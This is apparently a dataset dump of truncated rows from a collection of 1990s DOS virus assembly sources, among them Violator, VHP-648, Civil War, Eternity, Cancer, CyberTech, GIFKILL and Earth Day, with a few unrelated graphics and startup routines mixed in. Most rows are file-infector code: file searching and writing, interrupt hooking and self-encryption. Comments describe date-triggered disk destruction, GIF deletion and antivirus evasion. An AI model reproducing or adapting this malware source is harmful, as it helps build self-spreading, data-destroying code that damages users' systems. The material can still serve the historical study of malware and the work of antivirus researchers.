text stringlengths 0 20k |
|---|
COMMENT $
irogen's VPCSCAN v293 Signature Extractor
The source code should be pretty easy to read and understand, for
future versions of VPCSCAN, change the offsets below to match the
locations of the names&signatures.
version 1 - 08-23-94 - original release
$
segment cseg
assume cs: cseg, ds: cse... |
;------------------------------------------------------------------------------;
; ;
; V200 ;
; ;
;... |
;*****************************************************************************
; Violator Strain B3
;*****************************************************************************
;
; Notes: (Oct.24.9O)
; ------------------
;
; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs
; ... |
; disassembly of vienna-b1 virus
jmp label1
message:
db "ello, world!$" ;*************
mov ah,09h ;print string ; part of *
mov dx,message ;point to string ; original *
int 21h ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment byte public
assume cs:code,ds:code,es:code
org 100h
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original fir... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify... |
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE ... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ... |
L0004: CALL L0007 ; PUSH BEGIN ADDRESS
L0007: POP BX ; POP ADDRESS
SUB BX,0131H ; CALC DATA POINT
TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ?
JE L0023 ; VIRUS IS ENCODING. START
LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE
MOV SP,0682H ; SIZE OF VIRUS
L001B: XOR [SI],SI ; ENCODE ONE BYTE
XOR [... |
;
; Violator Strain C - "Violator strikes again..."
;
; Written by The High Evolutionary
; RABID International Development Corp.
;
;
; Here are the equates for when the virus will destroy media
;
month equ 6 ;Set month to June
day equ 22 ;Set day to the 22nd
year equ 1991 ;Set year to 1991
sectors equ 256 ;F... |
PAGE 59,132
;
;
; ZEP
;
; Created: 12-Nov-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 0A0h
data_9e equ 418h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h... |
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting I... |
;NON-RESIDENT SPAWNER
; I threw this thing together in less than an hour and haven't looked
; at it since so yes, I know it needs real work. Mangle and change as
; you please. The original goal was to create the smallest spawner but
; I got bored with the whole thing. Some of the code was taken from
; the source code ... |
; Abraxas.asm : [Abraxas-b] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ... |
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibilit... |
; The Eem-DOS 5-Voorde Virus
;
; Smallest COM file infector which works with te folowing principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ___________________ _____________________
; [jmp to virus][rest of file][... |
; [Ear-6]
; El virus de oreja y odo seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el ngel oscuro) escrib este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar el suyo.
; Dnde est mi llama, mama?
; diccionarito
; espaol ingls ... |
DATA SEGMENT
ORG 100H
DATA ENDS
; The EMF virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the execution of this file, intentional or not
;
START:
JMP VIRUS_START
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
... |
PAGE 59,132
;
;
; EXEV
;
; Created: 2-Jun-90
; Version:... |
code segment
assume cs:code
;A stripped down Enigma.
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;needed for the matching procedure
infected dw 00h... |
code segment
assume cs:code, ds:code
org 100h
asc2 equ asc + 128
prog:
mov ax,cs
add ax,1000h
mov es,ax
mov si,0100h
mov di,si
mov cx,5000h
rep movsb
mov word ptr [next+2],es
jmp ... |
; -Eternity.II-
; "Created by Immortal Riot's destructive development team"
; (c) '94 The Unforgiven/Immortal Riot
;
; "If this virus survive into eternity, I'll live forever"
; or
; "Nothing last forever"
;
; Notes:
; F-Prot, Scan, TBAV, Findviru, can't find s... |
; Virusname: Extasy
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
;
; It's a resident .COM infector, without any encryption or stealth
; capabilities. It infects when you execute (4bh) o... |
; [Ear-6]
; El virus de oreja y odo seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el ngel oscuro) escrib este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar el suyo.
; Dnde est mi llama, mama?
; diccionarito
; espaol ingls ... |
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to v... |
.MODEL SMALL
.CODE
comment /
Good luck!
Vladimir Botchev, CICT-BAS, december 1988
/
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;n... |
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to v... |
;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIAT... |
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main pr... |
; ------------------------------------------------------------------------- ;
; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
; ... |
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db ... |
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; .
; , ,
; ,
; ( ,
; ). ... |
; VirusName : ETERNITY!
; Origin : Sweden
; Author : The Unforgiven
; Date : 15/12/93
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
; modified, and I'd nearly dare to call it a "new" virus. But well,
; the infection routine are the same, so I really dunno.
; Anyway, it's a non-overwriti... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db ... |
;
; grafix --- egagrafa.asm
;
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title egagrafa
include macros.ah
sseg
endss
g_linsiz equ 80
g_pixbyte equ 8
eg... |
;****************************************************************************
;* Civil War IV v1.3 *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;***************************************************************************
;* *
;* CHAD - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written ... |
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset ... |
;Ŀ
; Commentator Virus by Glenn...
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assum... |
; ------------------------------------------------------------------------------
;
; - Caffein -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ---------------------------------------------------------------------------... |
;
; Clust2 virus by John Tardy / TridenT
;
; Virus Name: Clust2
; Aliases: Cluster-II, Circus Clusters-II
; V Status: Released
; Discovery: Not (yet)
; Symptoms: .EXE altered, possible "sector not found" errors on disk-drives,
; decrease in aveable memory
; Origin: The Netherlands
; Eff L... |
;
; grafix --- cgagrafa.asm
;
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title cgagrafa
include macros.ah
sseg
endss
g_oddoff equ 02000h
g_linsiz equ 80... |
;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands ... |
;Ŀ
; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR
; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ
; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR
; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ
; NRLG WRiTTeR: AZRAEL (C) [NuKE]... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset... |
;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands ... |
;****************************************************************************
; Civil War II *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Dark Helmet, The Netherlands ... |
;
; Demoralized Youth proudly presents: Creeper v1.0, Original Source
;
; Written by: TORMENTOR
;
; Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
; The reason why I release the original source is that I think I
; can't do much more on this virus... I will start from scratch
; and write a larger... |
;
;
; CodeJournal virus, (c)1995 irogen [NuKE]
;
;
; Polymorphic, Resident, Parastic EXE/COM Fast Infector. This is
; another one of my fuck-Invircible viruses. It uses absolutly
; no stealth techniques, yet successfully piggybacks invircible.
;
; Anti-Invircible Code
; ----------------------
; Completly defeats InV... |
;=====( Combat virus by Rajaat )===============================================
;
; Non-resident BAT infector, doesn't use external programs by third party.
;
;==============================================================================
;
; Virus name : Combat
; Author : Rajaat
; Origin : United King... |
;The Circus Cluster 2 virus is an experiment which TridenT finished after
;the original Cluster virus was published in Crypt 17. The source
;code in its original form is provided now.
;
;Credited to TridenT, Circus Cluster 2 uses some of
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
;tricky be... |
page 70,120
Name CIAVIRUS
;************************************
; CIA Virus (C) 1989 by
; Live Wire
;************************************
code segment
assume cs:code
progr equ 100h
ORG progr
main:
nop
nop
nop
mov ax,00
... |
cut equ offset len-300h
virsize equ offset len-100h
memsize equ (virsize+20h)/16+1
xor di,di
mov ds,di
mov ss,di
mov sp,7BF0h
mov si,7C00h
push si
mov ax,3000h
... |
;% You-name-the-bitch %
;
.model tiny
.code
org 100h
pagesize equ (((offset last) - (offset start)) shr 9) + 1
parasize equ (((offset last) - (offset start)) shr 4) + 1
bytesize equ (parasize shl 4)
lastpage equ bytesize - (pagesize shl 9)
start:
push ds
... |
;
; CyberTech Virus - Strain A John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory a... |
;****************************************************************************
; Civil War V V1.0 *
; *
; Assembled with Tasm 2.5 *
; (c) Jan '93 [ Dark Helmet / TridenT ], The Netherl... |
;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands ... |
; Virus name : Cocaine [CoKe]
; Virus author: Metal Militia
; Virus group : Immortal Riot
; Origin : Sweden
;
; This is an non-resident, .EXE infector moving upwards using the
; "dot-dot" method. Watch your .EXE files for the bad guy siganture
; "IR" somewhere in the beginning, after the MZ or ZM thang.. :)
;
; A... |
;****************************************************************************
;* Civil War IV v1.1 (minor bugfix version) *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;****************************************************************************
;* Cannabis version 4
;*
;* Compile with TASM 2.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything any... |
page ,132
name V847
title The V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset ... |
title "CRF1 virus. Born on the Fourth of July. Written by TBSI."
page 60,80
code segment word public 'code'
assume cs:code,ds:code
org 100h
main proc;edure
; As referenced in this source listing, Top-Of-File represents location 100h in
; the current memory segment, which is where the viru... |
;
; CyberTech Virus - Strain A John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory a... |
PAGE 59,132
;
;
; CANNAB3
;
; Created: 6-Jun-92
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_14e equ 5Ch
data_15e equ 78h
data_23e equ 7C0Bh ;*
data_24e equ 7C11h ;*
data_2... |
PAGE 59,132
;
;
; CRIMEIIB
;
; Created: 31-Jan-91
; Passes: 5 Analysis Options on: none
;
;
data_8e equ 20D3h ;*
data_9e equ 28C9h ;*
data_10e equ 3C81h ;*
data_26e equ 8ECDh ;*
data_34e ... |
Code Segment
Assume CS:code,DS:code
Org 100h
startvx proc near
mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
xchg bx,ax
mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h
mov ah,3eh
int 21h
int 20h
szTitleName db' Ch... |
PAGE 60,132
;
;
; CEMETERY
;
; Created: 4-Mar-91
;
;
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 70h ; (0000:0070=0FF33h)
data_4e equ 72h ; (0000:0072=0F000h)
data_... |
;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14
;The PC Carbuncle is a "toy" virus which will search out every .EXEfile
;in the current directory, rename it with a .CRP [for Crypt] extent and
;create a batchfile. The batchfile calls the PC Carbuncle [which has
;copied itself to a hi... |
;****************************************************************************
;* Civil War IV v1.2 *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = o... |
; Chickenchoker Virus by HDKiller
;
; Origianl Variant 127 bytes
; Fixored up Variant 132 bytes
;
;
; This is a trivial variant of a basic sort, no encryption and a nasty payload
;
; Being HDKiller's first virus it wasnt a bad start, though I wouldnt have made
; it destruct... |
;****************************************************************************
; Civil War III, *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Dark Helmet / TridenT, The Netherlands *
; The aut... |
; Civil Service Virus by Marvin Giskard
; Turbo Assember version 2
Exec equ 4B00h
OpenFile equ 3D02h
ReadFile equ 3Fh
WriteFile equ 40h
CloseFile equ 3Eh
EXESign equ 5A4Dh
SeekTop equ 4200h
SeekEnd equ 4202h
GetAttr equ 4300h
SetAttr equ 4301h
GetDT equ 5700h
SetDT... |
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or ex... |
;Ŀ
; Commentator Virus by Glenn...
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assum... |
ifndef ??version
?debug macro
endm
$comm macro name,dist,size,count
comm dist name:BYTE:count*size
endm
else
$comm macro name,dist,size,count
comm dist name[size]:BYTE:count
endm
endif
?debug S "cvirus.c"
?debug C E9A18C4217086376697275732E63
?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
?debu... |
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or ex... |
PAGE 59,132
;
;
; COFFSHP1
;
; Created: 23-Jun-92
; Passes: 5 Analysis Options on: AW
;
;
data_1e equ 0F8h
data_2e equ 0FAh
data_3e equ 43Bh
data_4e equ 0F4h
data_5e equ 0F8h
data_6e equ 0FC... |
PAGE 60,132
;
XSEG SEGMENT
; Seg=01387H
; Org=00000H
ASSUME CS:XSEG
XPROC PROC FAR
JMP L6551
DEC BX
PUSH BX
PUSH CX
CALL L0009
L0009: POP SI
SUB SI,+09H
PUSH SI
CLD
MOV DI,0100H
MOV CX,0005H
MOVSB
JMP L01CE
L001A: PUSHF
PUSH CS
CALL WORD PTR CS:[08C0H]
DB 0C3H; RET
STI
CMP AH,4BH
JE L0061
CMP AH,... |
INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt
ORG 13H*4 ;holds the address of its service routine
DISK_INT LABEL DWORD
INTERRUPTS ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
... |
;Ŀ
; Commentator Virus by Glenn...
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assum... |
;The Cluster virus is an interesting experiment which works, almost.
;It it what has come to be known as an 'intended' virus, although a
;a very slickly done one.
;Credited to the TridenT virus programming group, Cluster uses some of
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
;tricky becaus... |
PAGE 60,132
;
;
; CEMETERY
;
; Created: 4-Mar-91
;
;
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 70h ; (0000:0070=0FF33h)
data_4e equ 72h ; (0000:0072=0F000h)
data_... |
TITLE LC Interrupt trap routine
NAME LCINT
INCLUDE DOS.MAC ; BE SURE TO INCLUDE THE CORRECT
; DOS.MAC!!
;****************************************************************************
;
; This is the heart of a C driven interrupt handler. This file was used to
; write a critical error handler that remained res... |
; 'Extra-Tiny' memory model startup code for Turbo C 2.0
;
; This makes smaller executable images from C programs, by
; removing code to get command line arguments and the like.
; Compile with Tiny model flag, do not use any standard I/O
; library functions, such as puts() or int86().
;
; This code courtesey PC M... |
;Ŀ
; Commentator Virus by Glenn...
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assum... |
;
; Virus Los Salieris de Charly II (para compilar normal).
; (Stealth with TBAV, VSAFE, DIR, NC and MEM)
;
; Created by: Ramthes Jones'94 (For Those About to Rock!!
; (AHORA SI QUE EL TBAV ME LA CHUPA BIEN!!!)
;
; Fuente de mierda! hasta donde pensas llegar? porque estos gatos
; solo hablan en ingles... grrr! ... |
;
; Cop-Com Virus
;
Org 100h
Main: Xor Cx,Cx
On1: Call CritErr
Inc Cx
Cmp Cx,10
Jb Infect
Push Cs
Pop Ds
Mov Ah,3ch
Lea Dx,Command
Xor Cx,Cx
... |
; COCROACH.ASM -- CockRoach Virus 1.0
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Anonymous Caller
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100... |
PAGE 59,132
;
;
; COFFSHP1
;
; Created: 23-Jun-92
; Passes: 5 Analysis Options on: AW
;
;
data_1e equ 0F8h
data_2e equ 0FAh
data_3e equ 43Bh
data_4e equ 0F4h
data_5e equ 0F8h
data_6e equ 0FC... |
page 70,120
Name CIAVIRUS
;************************************
; CIA Virus (C) 1989 by
; Live Wire
;************************************
code segment
assume cs:code
progr equ 100h
ORG progr
main:
nop
nop
nop
mov ax,00
... |
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
. . .
virus:
push cx ;Save CX
mov dx,offse... |
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ... |
From smtp Sun Jan 29 16:25 EST 1995
Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST
Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST)
From: ids.net!JOSHUAW (JOSHUAW)
To: pobox.jwu.edu!joshuaw
Content-Length: 11874
Content-Type: text
Message-Id: <950129161852.10074@ids.net>
Status: RO
To: joshuaw@pobox.jwu... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset... |
;
; CyberTech Virus - Strain A John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory a... |
PAGE 59,132
;
;
; CANNAB1
;
; Created: 4-Oct-91
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_8e equ 5Ch
data_17e equ 46Ch ;*
data_18e equ 7C00h ;*
data_19e equ 7C0Bh ;*
... |
;###########################################################################
#
;# Virus Name: Catch.Me # Size: 371 Bytes
#
;# Author: Jerk1N # EMail: jerk1n@trust-me.com
#
;###########################################################################
#
;# Notes ... |
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